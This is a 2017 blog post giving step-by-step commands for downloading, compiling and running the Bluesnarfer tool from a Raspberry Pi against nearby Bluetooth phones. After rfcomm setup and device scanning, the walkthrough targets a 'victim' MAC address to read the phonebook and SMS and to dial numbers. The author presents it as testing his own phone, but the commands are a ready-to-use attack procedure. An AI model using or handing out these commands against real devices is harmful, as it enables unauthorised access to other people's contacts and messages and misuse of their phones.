Pages

Showing posts with label hacking. Show all posts
Showing posts with label hacking. Show all posts

Saturday, 21 October 2017

Bluesnarfer bluetooth hacking or penetration testing from raspberry pi

Recently I noticed that bluesnarfer can be used for hacking mobile phones. That should be a reason enough to keep bluetooth disabled. So I tried to hack my phone. The tutorials I found on internet were containing errors. Below steps worked for me:

Go to /opt with:
cd /opt

Get Bluesnarfer using the wget command: 
wget http://alighieri.org/tools/bluesnarfer.tar.gz

Extract it with the simple tar xvf command: 
tar xvf bluesnarfer.tar.gz

Open extracted folder and check content:

cd bluesnarfer
ls

This needs to be compiled: make

This resulted in an error on my unit:
fatal error: bluetooth/bluetooth.h: No such file or directory
 #include <bluetooth/bluetooth.h>

If this error occurs that means you need to install libbluetooth-dev
apt-get install libbluetooth-dev

After it is compiled see check Bluesnarfer commands with this command ./bluesnarfer

Now that we have Bluesnarfer, you must configure rfcomm first, if you haven't already done that:
mkdir -p /dev/bluetooth/rfcomm
mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0
mknod --mode=666 /dev/rfcomm0 c 216 0

hciconfig hci0 up
hciconfig hci0

Scan for target devices:
hcitool scan hci0

Ping the target to see if it is awake:
l2ping  <victim mac addr>

Browse the target for rfcomm channels to connect to:
sdptool browse --tree --l2cap <mac addr>

Now you can use Bluesnarfer for example to read the victims phonebook, dial a number or read sms or other things:

./bluesnarfer -r 1-100 -C 7 -b <mac addr>

See available opions with:
./bluesnarfer -h

Dial number: 
./bluesnarfer-m < victim name > -c 7 -a < mac addr > Dial < number >